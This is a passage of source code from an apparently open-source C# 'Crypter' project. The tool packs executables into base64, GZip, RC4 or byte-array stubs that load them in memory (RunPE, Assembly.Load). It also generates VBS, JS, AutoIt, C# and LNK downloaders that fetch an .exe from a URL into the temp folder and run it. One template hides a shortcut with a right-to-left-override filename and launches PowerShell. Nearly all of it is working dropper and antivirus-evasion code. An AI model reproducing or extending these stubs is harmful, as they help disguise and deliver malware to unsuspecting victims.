MessageBox.Show("Done!", "Information", MessageBoxButtons.OK, MessageBoxIcon.Asterisk);
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file and enter the key.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
public static byte[] GZip(byte[] byte_0)
{
using (MemoryStream memoryStream = new MemoryStream())
{
using (GZipStream gzipStream = new GZipStream(memoryStream, CompressionMode.Compress))
{
gzipStream.Write(byte_0, 0, byte_0.Length);
gzipStream.Close();
byte_0 = new byte[checked(memoryStream.ToArray().Length - 1 + 1 - 1 + 1 - 1 + 1 - 1 + 1)];
byte_0 = memoryStream.ToArray();
}
memoryStream.Close();
}
return byte_0;
}
private void button7_Click(object sender, EventArgs e)
{
string Source = Resources.dll;
if (textBox1.Text != "")
{
byte[] FileBytes = File.ReadAllBytes(textBox1.Text);
string EncryptedStr = Convert.ToBase64String(FileBytes);
Source = Source.Replace("123456", EncryptedStr);
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose DLL and x86.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button8_Click(object sender, EventArgs e)
{
if (textBox1.Text != "")
{
byte[] FileBytes = File.ReadAllBytes(textBox1.Text);
string Source = "0x"+BitConverter.ToString(FileBytes).Replace("-", ",0x");
Source = Resources.PEbytes.Replace("123456", Source).Replace("654321", Convert.ToString(FileBytes.Length));
Source = Source.Replace("0x0", "0x");
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please select the file.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button9_Click(object sender, EventArgs e)
{
string Source = Resources.CSharp_url;
if (textBox4.Text != "")
{
Source = Source.Replace("123456", textBox4.Text);
textBox2.Text = Source;
MessageBox.Show("Copy to VS ; Use .NET Framework 4 ; Choose Windows Application.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button10_Click(object sender, EventArgs e)
{
string Source = Resources.VBS_url;
if (textBox4.Text != "")
{
Source = Source.Replace("123456", textBox4.Text);
textBox2.Text = Source;
MessageBox.Show("Copy to txt file and rename to VBS file.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button11_Click(object sender, EventArgs e)
{
string Source = Resources.lnk_url;
if (textBox4.Text != "")
{
Source = Source.Replace("123456", textBox4.Text);
textBox2.Text = Source;
MessageBox.Show("Copy to txt file and rename to VBS file .When it runs,it'll creat a lnk file.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button12_Click(object sender, EventArgs e)
{
string Source = Resources.js_url;
if (textBox4.Text != "")
{
Source = Source.Replace("123456", textBox4.Text);
textBox2.Text = Source;
MessageBox.Show("Copy to txt file and rename to js file.",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void button13_Click(object sender, EventArgs e)
{
if (textBox4.Text != "")
{
using (SaveFileDialog saveFileDialog = new SaveFileDialog())
{
saveFileDialog.Filter = "*.exe|*.exe";
if (saveFileDialog.ShowDialog() == DialogResult.OK)
{
string text = Path.GetTempPath() + "QWQDANCHUN_Temp";
if (!Directory.Exists(text))
{
Directory.CreateDirectory(text);
}
File.WriteAllText(text + "\\Stub.au3", Resources.autoit_url);
File.WriteAllBytes(text + "\\Include.zip", Resources.Include);
File.WriteAllBytes(text + "\\Aut2exe.exe", Resources.Aut2exe);
using (ZipFile zipFile = ZipFile.Read(text + "\\Include.zip"))
{
zipFile.ExtractAll(text, ExtractExistingFileAction.OverwriteSilently);
}
string text2 = File.ReadAllText(text + "\\Stub.au3");
text2 = text2.Replace("#URL", textBox4.Text);
textBox2.Text = text2;
File.WriteAllText(text + "\\Stub.au3", text2);
if (File.Exists(saveFileDialog.FileName))
{
File.Delete(saveFileDialog.FileName);
}
Process.Start(new ProcessStartInfo
{
WorkingDirectory = text,
FileName = "Aut2exe.exe",
Arguments = "/in Stub.au3 /out " + Path.GetFileName(saveFileDialog.FileName)
}).WaitForExit(5000);
File.Copy(text + "\\" + Path.GetFileName(saveFileDialog.FileName), saveFileDialog.FileName);
Thread.Sleep(2000);
Directory.Delete(text, true);
MessageBox.Show("Done",
"Success!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
}
else
{
MessageBox.Show("Please enter the url.",
"Error!", MessageBoxButtons.OK, MessageBoxIcon.Information);
}
}
private void 打开文件ToolStripMenuItem_Click(object sender, EventArgs e)
{
OpenFileDialog FOpen = new OpenFileDialog()
{
Filter = "Executable Files|*.exe",
InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.Desktop)
};
if (FOpen.ShowDialog() == DialogResult.OK)
textBox1.Text = FOpen.FileName;
}
private void 退出ToolStripMenuItem_Click(object sender, EventArgs e)
{
Environment.Exit(0);
}
private void 关于ToolStripMenuItem_Click(object sender, EventArgs e)
{
using (FormAbout formAbout = new FormAbout())
{
formAbout.ShowDialog();
}
}
private void 文档ToolStripMenuItem_Click(object sender, EventArgs e)
{
using (FormDoc formDoc = new FormDoc())
{
formDoc.ShowDialog();
}
}
}
}

1262
Crypter/Form1.resx Normal file
View File

File diff suppressed because it is too large Load Diff

96
Crypter/FormAbout.Designer.cs generated Normal file
View File

@ -0,0 +1,96 @@
namespace Crypter
{
partial class FormAbout
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormAbout));
this.pictureBox1 = new System.Windows.Forms.PictureBox();
this.label1 = new System.Windows.Forms.Label();
this.linkLabel1 = new System.Windows.Forms.LinkLabel();
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit();
this.SuspendLayout();
//
// pictureBox1
//
this.pictureBox1.Image = global::Crypter.Properties.Resources.avatar;
this.pictureBox1.Location = new System.Drawing.Point(12, 12);
this.pictureBox1.Name = "pictureBox1";
this.pictureBox1.Size = new System.Drawing.Size(150, 150);
this.pictureBox1.TabIndex = 0;
this.pictureBox1.TabStop = false;
//
// label1
//
this.label1.AutoEllipsis = true;
this.label1.AutoSize = true;
this.label1.Location = new System.Drawing.Point(185, 12);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(197, 132);
this.label1.TabIndex = 1;
this.label1.Text = "Made by qwqdanchun.\r\n\r\n\r\n\r\nContect me with:\r\nTG @qwqdanchun \r\nEmail admin@qwqdanc" +
"hun.com\r\n\r\n\r\n\r\nAlso you can visit my blog here.";
//
// linkLabel1
//
this.linkLabel1.AutoSize = true;
this.linkLabel1.Location = new System.Drawing.Point(185, 150);
this.linkLabel1.Name = "linkLabel1";
this.linkLabel1.Size = new System.Drawing.Size(161, 12);
this.linkLabel1.TabIndex = 2;
this.linkLabel1.TabStop = true;
this.linkLabel1.Text = "https://blog.qwqdanchun.cn";
//
// FormAbout
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(421, 174);
this.Controls.Add(this.linkLabel1);
this.Controls.Add(this.label1);
this.Controls.Add(this.pictureBox1);
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedDialog;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
this.Name = "FormAbout";
this.Opacity = 0.9D;
this.ShowInTaskbar = false;
this.Text = "About";
((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit();
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.PictureBox pictureBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.LinkLabel linkLabel1;
}
}

20
Crypter/FormAbout.cs Normal file
View File

@ -0,0 +1,20 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Crypter
{
public partial class FormAbout : Form
{
public FormAbout()
{
InitializeComponent();
}
}
}

1253
Crypter/FormAbout.resx Normal file
View File

File diff suppressed because it is too large Load Diff

95
Crypter/FormDoc.Designer.cs generated Normal file
View File

@ -0,0 +1,95 @@
namespace Crypter
{
partial class FormDoc
{
/// <summary>
/// Required designer variable.
/// </summary>
private System.ComponentModel.IContainer components = null;
/// <summary>
/// Clean up any resources being used.
/// </summary>
/// <param name="disposing">true if managed resources should be disposed; otherwise, false.</param>
protected override void Dispose(bool disposing)
{
if (disposing && (components != null))
{
components.Dispose();
}
base.Dispose(disposing);
}
#region Windows Form Designer generated code
/// <summary>
/// Required method for Designer support - do not modify
/// the contents of this method with the code editor.
/// </summary>
private void InitializeComponent()
{
System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(FormDoc));
this.richTextBox1 = new System.Windows.Forms.RichTextBox();
this.label1 = new System.Windows.Forms.Label();
this.label2 = new System.Windows.Forms.Label();
this.SuspendLayout();
//
// richTextBox1
//
this.richTextBox1.Anchor = ((System.Windows.Forms.AnchorStyles)((((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Bottom)
| System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.richTextBox1.Location = new System.Drawing.Point(12, 48);
this.richTextBox1.Margin = new System.Windows.Forms.Padding(3, 10, 3, 3);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.Size = new System.Drawing.Size(626, 263);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = resources.GetString("richTextBox1.Text");
//
// label1
//
this.label1.Anchor = ((System.Windows.Forms.AnchorStyles)(((System.Windows.Forms.AnchorStyles.Top | System.Windows.Forms.AnchorStyles.Left)
| System.Windows.Forms.AnchorStyles.Right)));
this.label1.Font = new System.Drawing.Font("宋体", 21.75F, System.Drawing.FontStyle.Bold, System.Drawing.GraphicsUnit.Point, ((byte)(134)));
this.label1.ImageAlign = System.Drawing.ContentAlignment.TopCenter;
this.label1.Location = new System.Drawing.Point(12, 9);
this.label1.Name = "label1";
this.label1.Size = new System.Drawing.Size(626, 29);
this.label1.TabIndex = 1;
this.label1.Text = "用户协议";
this.label1.TextAlign = System.Drawing.ContentAlignment.MiddleCenter;
//
// label2
//
this.label2.AutoSize = true;
this.label2.Location = new System.Drawing.Point(15, 26);
this.label2.Name = "label2";
this.label2.Size = new System.Drawing.Size(101, 12);
this.label2.TabIndex = 2;
this.label2.Text = "欢迎使用本软件！";
//
// FormDoc
//
this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(650, 323);
this.Controls.Add(this.label2);
this.Controls.Add(this.label1);
this.Controls.Add(this.richTextBox1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.Name = "FormDoc";
this.Opacity = 0.9D;
this.ShowInTaskbar = false;
this.Text = "Doc";
this.ResumeLayout(false);
this.PerformLayout();
}
#endregion
private System.Windows.Forms.RichTextBox richTextBox1;
private System.Windows.Forms.Label label1;
private System.Windows.Forms.Label label2;
}
}

20
Crypter/FormDoc.cs Normal file
View File

@ -0,0 +1,20 @@
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace Crypter
{
public partial class FormDoc : Form
{
public FormDoc()
{
InitializeComponent();
}
}
}

1297
Crypter/FormDoc.resx Normal file
View File

File diff suppressed because it is too large Load Diff

22
Crypter/Program.cs Normal file
View File

@ -0,0 +1,22 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Threading.Tasks;
using System.Windows.Forms;
namespace CrypterExample
{
static class Program
{
/// <summary>
/// The main entry point for the application.
/// </summary>
[STAThread]
static void Main()
{
Application.EnableVisualStyles();
Application.SetCompatibleTextRenderingDefault(false);
Application.Run(new Form1());
}
}
}

38
Crypter/Properties/AssemblyInfo.cs Normal file
View File

@ -0,0 +1,38 @@
using System.Resources;
using System.Reflection;
using System.Runtime.CompilerServices;
using System.Runtime.InteropServices;
// General Information about an assembly is controlled through the following
// set of attributes. Change these attribute values to modify the information
// associated with an assembly.
[assembly: AssemblyTitle("簞純Crypter")]
[assembly: AssemblyDescription("一个简单的加密保护软件")]
[assembly: AssemblyConfiguration("")]
[assembly: AssemblyCompany("簞純")]
[assembly: AssemblyProduct("簞純Crypter")]
[assembly: AssemblyCopyright("Copyright © Microsoft 2020")]
[assembly: AssemblyTrademark("簞純")]
[assembly: AssemblyCulture("")]
// Setting ComVisible to false makes the types in this assembly not visible
// to COM components. If you need to access a type in this assembly from
// COM, set the ComVisible attribute to true on that type.
[assembly: ComVisible(false)]
// The following GUID is for the ID of the typelib if this project is exposed to COM
[assembly: Guid("32e6a8e5-cd3d-496c-b86b-bbfe451307d8")]
// Version information for an assembly consists of the following four values:
//
// Major Version
// Minor Version
// Build Number
// Revision
//
// You can specify all the values or you can default the Build and Revision Numbers
// by using the '*' as shown below:
// [assembly: AssemblyVersion("1.0.*")]
[assembly: AssemblyVersion("1.0.0.0")]
[assembly: AssemblyFileVersion("1.0.0.0")]
[assembly: NeutralResourcesLanguage("zh-CN")]

405
Crypter/Properties/Resources.Designer.cs generated Normal file
View File

@ -0,0 +1,405 @@
//------------------------------------------------------------------------------
// <auto-generated>
// 此代码由工具生成。
// 运行时版本:4.0.30319.42000
//
// 对此文件的更改可能会导致不正确的行为，并且如果
// 重新生成代码，这些更改将会丢失。
// </auto-generated>
//------------------------------------------------------------------------------
namespace Crypter.Properties {
using System;
/// <summary>
/// 一个强类型的资源类，用于查找本地化的字符串等。
/// </summary>
// 此类是由 StronglyTypedResourceBuilder
// 类通过类似于 ResGen 或 Visual Studio 的工具自动生成的。
// 若要添加或移除成员，请编辑 .ResX 文件，然后重新运行 ResGen
// (以 /str 作为命令选项)，或重新生成 VS 项目。
[global::System.CodeDom.Compiler.GeneratedCodeAttribute("System.Resources.Tools.StronglyTypedResourceBuilder", "16.0.0.0")]
[global::System.Diagnostics.DebuggerNonUserCodeAttribute()]
[global::System.Runtime.CompilerServices.CompilerGeneratedAttribute()]
internal class Resources {
private static global::System.Resources.ResourceManager resourceMan;
private static global::System.Globalization.CultureInfo resourceCulture;
[global::System.Diagnostics.CodeAnalysis.SuppressMessageAttribute("Microsoft.Performance", "CA1811:AvoidUncalledPrivateCode")]
internal Resources() {
}
/// <summary>
/// 返回此类使用的缓存的 ResourceManager 实例。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Resources.ResourceManager ResourceManager {
get {
if (object.ReferenceEquals(resourceMan, null)) {
global::System.Resources.ResourceManager temp = new global::System.Resources.ResourceManager("Crypter.Properties.Resources", typeof(Resources).Assembly);
resourceMan = temp;
}
return resourceMan;
}
}
/// <summary>
/// 重写当前线程的 CurrentUICulture 属性
/// 重写当前线程的 CurrentUICulture 属性。
/// </summary>
[global::System.ComponentModel.EditorBrowsableAttribute(global::System.ComponentModel.EditorBrowsableState.Advanced)]
internal static global::System.Globalization.CultureInfo Culture {
get {
return resourceCulture;
}
set {
resourceCulture = value;
}
}
/// <summary>
/// 查找 System.Byte[] 类型的本地化资源。
/// </summary>
internal static byte[] Aut2exe {
get {
object obj = ResourceManager.GetObject("Aut2exe", resourceCulture);
return ((byte[])(obj));
}
}
/// <summary>
/// 查找类似 #include &lt;InetConstants.au3&gt;
///#include &lt;MsgBoxConstants.au3&gt;
///#include &lt;WinAPIFiles.au3&gt;
///
///
///Local $sFilePath = _WinAPI_GetTempFileName(@TempDir) &amp; &quot;.exe&quot;
///InetGet(&quot;#URL&quot;, $sFilePath, 2, $INET_DOWNLOADWAIT)
///RunWait($sFilePath) 的本地化字符串。
/// </summary>
internal static string autoit_url {
get {
return ResourceManager.GetString("autoit_url", resourceCulture);
}
}
/// <summary>
/// 查找 System.Drawing.Bitmap 类型的本地化资源。
/// </summary>
internal static System.Drawing.Bitmap avatar {
get {
object obj = ResourceManager.GetObject("avatar", resourceCulture);
return ((System.Drawing.Bitmap)(obj));
}
}
/// <summary>
/// 查找类似 using Microsoft.VisualBasic;
///using System;
///using System.Diagnostics;
///using System.IO;
///using System.Runtime.InteropServices;
///
///namespace RunPE
///{
/// public static class RunPE
/// {
///
/// #region API delegate
/// private delegate int DelegateResumeThread(IntPtr handle);
/// private delegate bool DelegateWow64SetThreadContext(IntPtr thread, int[] context);
/// private delegate bool DelegateSetThreadContext(IntPtr thread, int[] context);
/// private delegate bool Delegat [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string base64 {
get {
return ResourceManager.GetString("base64", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Collections;
///using System.Collections.Generic;
///using System.Data;
///using System.Drawing;
///using System.Diagnostics;
///using System.Windows.Forms;
///using System.Linq;
///using System.Xml.Linq;
///using System.Threading.Tasks;
///using System.IO;
///using System.IO.Compression;
///
///namespace v
///{
/// internal static class Module1
/// {
/// public static byte[] crypt()
/// {
/// return Decompress(Convert.FromBase64String(&quot;123456&quot;));
///
///
/// }
/// public static [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string base64_Gzip {
get {
return ResourceManager.GetString("base64_Gzip", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Collections.Generic;
///using System.IO;
///using System.Linq;
///using System.Net;
///using System.Reflection;
///using System.Text;
///using System.Threading;
///
///
///namespace ConsoleApp2
///{
/// class Program
/// {
/// static void Main(string[] args)
/// {
///
///
/// AppDomain temoDomain = AppDomain.CreateDomain(&quot;TempDomain&quot;);
/// temoDomain.DoCallBack(Callback);
/// Thread.Sleep(-1);
/// AppDomain.Unload(temoDomain);
/// }
/// [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string base64_url {
get {
return ResourceManager.GetString("base64_url", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Diagnostics;
///using System.IO;
///using System.Net;
///using System.Threading;
///
///namespace CsharpDW
///{
/// class Program
/// {
/// static void Main()
/// {
/// try
/// {
/// using (FileStream fs = new FileStream(Path.Combine(Path.GetTempPath(), &quot;DW.exe&quot;), FileMode.Create))
/// {
/// byte[] payload = DownloadPayload(&quot;123456&quot;);
/// fs.Write(payload, 0, payload.Length);
/// }
/// [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string CSharp_url {
get {
return ResourceManager.GetString("CSharp_url", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Reflection;
///using System.Runtime.CompilerServices;
///using Microsoft.VisualBasic.CompilerServices;
///
///namespace MonoFlat
///{
/// [StandardModule]
/// public sealed class Module1
/// {
/// public static void Main()
/// {
/// string s = &quot;123456&quot;;
/// byte[] rawAssembly = Convert.FromBase64String(s);
/// Assembly assembly = AppDomain.CurrentDomain.Load(rawAssembly);
/// MethodInfo entryPoint = assembly.EntryPoint;
/// object objectValue = RuntimeHelpers.GetObjectValue(assembly.CreateInstance [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string dll {
get {
return ResourceManager.GetString("dll", resourceCulture);
}
}
/// <summary>
/// 查找 System.Byte[] 类型的本地化资源。
/// </summary>
internal static byte[] Include {
get {
object obj = ResourceManager.GetObject("Include", resourceCulture);
return ((byte[])(obj));
}
}
/// <summary>
/// 查找类似 try {
/// var WshShell = WScript.CreateObject(&quot;WScript.Shell&quot;);
/// var filepath = WshShell.ExpandEnvironmentStrings(&quot;%TEMP%&quot;) + &quot;/DW.exe&quot;;
/// var url = &quot;123456&quot;
/// var xhr = new ActiveXObject(&quot;MSXML2.XMLHTTP&quot;)
/// xhr.open(&quot;GET&quot;, url, false)
/// xhr.send()
///
/// var fso = new ActiveXObject(&quot;Scripting.FileSystemObject&quot;)
/// var stream = new ActiveXObject(&quot;ADODB.Stream&quot;)
/// stream.Open()
/// stream.Type = 1
/// stream.Write(xhr.ResponseBody)
/// stream.Position = 0
/// stream.SaveToFile(filepat [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string js_url {
get {
return ResourceManager.GetString("js_url", resourceCulture);
}
}
/// <summary>
/// 查找类似 Dim DownLoadLink, FileName
///DownLoadLink = &quot;&apos;123456&apos;&quot;
///FileName = CreateObject(&quot;WScript.Shell&quot;).ExpandEnvironmentStrings(&quot;%Temp%&quot;) + &quot;\DW.exe&quot;
///
///Set WshShell = CreateObject(&quot;WScript.Shell&quot;)
///Set ShApp = CreateObject(&quot;Shell.Application&quot;)
///unicode = Unescape(&quot;%u0052%u0065%u0061%u0064%u004d%u0065%u005f%u202e%u0074%u0078%u0074%u002e%u006c%u006e%u006b&quot;)
///unicodeName = &quot;unicode.lnk&quot;
///shortcutPath = unicodeName
///Set lnk = WshShell.CreateShortcut(shortcutPath)
///lnk.TargetPath = &quot;powershell.exe&quot;
///lnk.Arguments = &quot;- [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string lnk_url {
get {
return ResourceManager.GetString("lnk_url", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Collections.Generic;
///using System.Linq;
///using System.Threading.Tasks;
///using System.Windows.Forms;
///using System.Reflection;
///
///namespace WindowsFormsApp
///{
/// static class Program
/// {
/// /// &lt;summary&gt;
/// /// The main entry point for the application.
/// /// &lt;/summary&gt;
/// [STAThread]
/// static void Main()
/// {
/// byte[] shellcode = new byte[654321]
/// {
/// 123456
/// };
///
/// Assembly.Load(she [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string PEbytes {
get {
return ResourceManager.GetString("PEbytes", resourceCulture);
}
}
/// <summary>
/// 查找类似 using System;
///using System.Collections.Generic;
///using System.Windows.Forms;
///
///namespace csharp_test
///{
/// static class Program
/// {
///
/// [STAThread]
/// static void Main()
/// {
///
/// byte[] ont = {lol};
/// byte[] se = RC4decrypt(ont, &quot;kkkkk&quot;);
///
///
/// AppDomain.CurrentDomain.Load(se).EntryPoint.Invoke(984985 - 984985, null);
///
/// }
///
/// public static byte[] RC4decrypt(byte[] D1, string D2)
/// {
/// byt [字符串的其余部分被截断]&quot;; 的本地化字符串。
/// </summary>
internal static string rc4 {
get {
return ResourceManager.GetString("rc4", resourceCulture);
}
}
/// <summary>
/// 查找类似 Module ReFUD
/// Sub Main()
/// Dim B As String() = New String() {
///[stub-replace]
/// }
/// Dim S As String = &quot;&quot;
/// For i = 0 To B.Length - 1
/// S += B(i).ToString
/// Next
/// Dim A As Object = GetType(Threading.Thread).GetMethod(&quot;Get&quot; + &quot;Domain&quot;).Invoke(0, Nothing)
/// Dim K As Object = A.load(Convert.FromBase64String(StrReverse(S)))
/// Dim C As Object = K.entrypoint
/// C.invoke(&quot;&quot;, Nothing)
/// End Sub
///End Module 的本地化字符串。
/// </summary>
internal static string VB {
get {
return ResourceManager.GetString("VB", resourceCulture);
}
}
/// <summary>
/// 查找类似 dim xHttp: Set xHttp = createobject(&quot;Microsoft.XMLHTTP&quot;)
///dim bStrm: Set bStrm = createobject(&quot;Adodb.Stream&quot;)
///xHttp.Open &quot;GET&quot;, &quot;123456&quot;, False
///xHttp.Send
///scriptShell = CreateObject(&quot;WScript.Shell&quot;).ExpandEnvironmentStrings(&quot;%Temp%&quot;) + &quot;\DW.exe&quot;
///with bStrm
/// .type = 1
/// .open
/// .write xHttp.responseBody
/// .savetofile scriptShell, 2
///end with
///WScript.Sleep 1000
///Execut(scriptShell)
///
///Function Execut(path)
///Set objShell = CreateObject(&quot;Wscript.shell&quot;)
///objShell.run(path)
///End Function 的本地化字符串。
/// </summary>
internal static string VBS_url {
get {
return ResourceManager.GetString("VBS_url", resourceCulture);
}
}
}
}

166
Crypter/Properties/Resources.resx Normal file
View File

@ -0,0 +1,166 @@
<?xml version="1.0" encoding="utf-8"?>
<root>
<!--
Microsoft ResX Schema
Version 2.0
The primary goals of this format is to allow a simple XML format
that is mostly human readable. The generation and parsing of the
various data types are done through the TypeConverter classes
associated with the data types.
Example:
... ado.net/XML headers & schema ...
<resheader name="resmimetype">text/microsoft-resx</resheader>
<resheader name="version">2.0</resheader>
<resheader name="reader">System.Resources.ResXResourceReader, System.Windows.Forms, ...</resheader>
<resheader name="writer">System.Resources.ResXResourceWriter, System.Windows.Forms, ...</resheader>
<data name="Name1"><value>this is my long string</value><comment>this is a comment</comment></data>
<data name="Color1" type="System.Drawing.Color, System.Drawing">Blue</data>
<data name="Bitmap1" mimetype="application/x-microsoft.net.object.binary.base64">
<value>[base64 mime encoded serialized .NET Framework object]</value>
</data>
<data name="Icon1" type="System.Drawing.Icon, System.Drawing" mimetype="application/x-microsoft.net.object.bytearray.base64">
<value>[base64 mime encoded string representing a byte array form of the .NET Framework object]</value>
<comment>This is a comment</comment>
</data>
There are any number of "resheader" rows that contain simple
name/value pairs.
Each data row contains a name, and value. The row also contains a
type or mimetype. Type corresponds to a .NET class that support
text/value conversion through the TypeConverter architecture.
Classes that don't support this are serialized and stored with the
mimetype set.
The mimetype is used for serialized objects, and tells the
ResXResourceReader how to depersist the object. This is currently not
extensible. For a given mimetype the value must be set accordingly:
Note - application/x-microsoft.net.object.binary.base64 is the format
that the ResXResourceWriter will generate, however the reader can
read any of the formats listed below.
mimetype: application/x-microsoft.net.object.binary.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Binary.BinaryFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.soap.base64
value : The object must be serialized with
: System.Runtime.Serialization.Formatters.Soap.SoapFormatter
: and then encoded with base64 encoding.
mimetype: application/x-microsoft.net.object.bytearray.base64
value : The object must be serialized into a byte array
: using a System.ComponentModel.TypeConverter
: and then encoded with base64 encoding.
-->
<xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
<xsd:import namespace="http://www.w3.org/XML/1998/namespace" />
<xsd:element name="root" msdata:IsDataSet="true">
<xsd:complexType>
<xsd:choice maxOccurs="unbounded">
<xsd:element name="metadata">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" />
</xsd:sequence>
<xsd:attribute name="name" use="required" type="xsd:string" />
<xsd:attribute name="type" type="xsd:string" />
<xsd:attribute name="mimetype" type="xsd:string" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="assembly">
<xsd:complexType>
<xsd:attribute name="alias" type="xsd:string" />
<xsd:attribute name="name" type="xsd:string" />
</xsd:complexType>
</xsd:element>
<xsd:element name="data">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
<xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" msdata:Ordinal="1" />
<xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
<xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
<xsd:attribute ref="xml:space" />
</xsd:complexType>
</xsd:element>
<xsd:element name="resheader">
<xsd:complexType>
<xsd:sequence>
<xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
</xsd:sequence>
<xsd:attribute name="name" type="xsd:string" use="required" />
</xsd:complexType>
</xsd:element>
</xsd:choice>
</xsd:complexType>
</xsd:element>
</xsd:schema>
<resheader name="resmimetype">
<value>text/microsoft-resx</value>
</resheader>
<resheader name="version">
<value>2.0</value>
</resheader>
<resheader name="reader">
<value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<resheader name="writer">
<value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</resheader>
<assembly alias="System.Windows.Forms" name="System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" />
<data name="Aut2exe" type="System.Resources.ResXFileRef, System.Windows.Forms">
<value>..\resources\aut2exe.exe;System.Byte[], mscorlib, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value>
</data>
<data name="autoit_url" type="System.Resources.ResXFileRef, System.Windows.Forms">
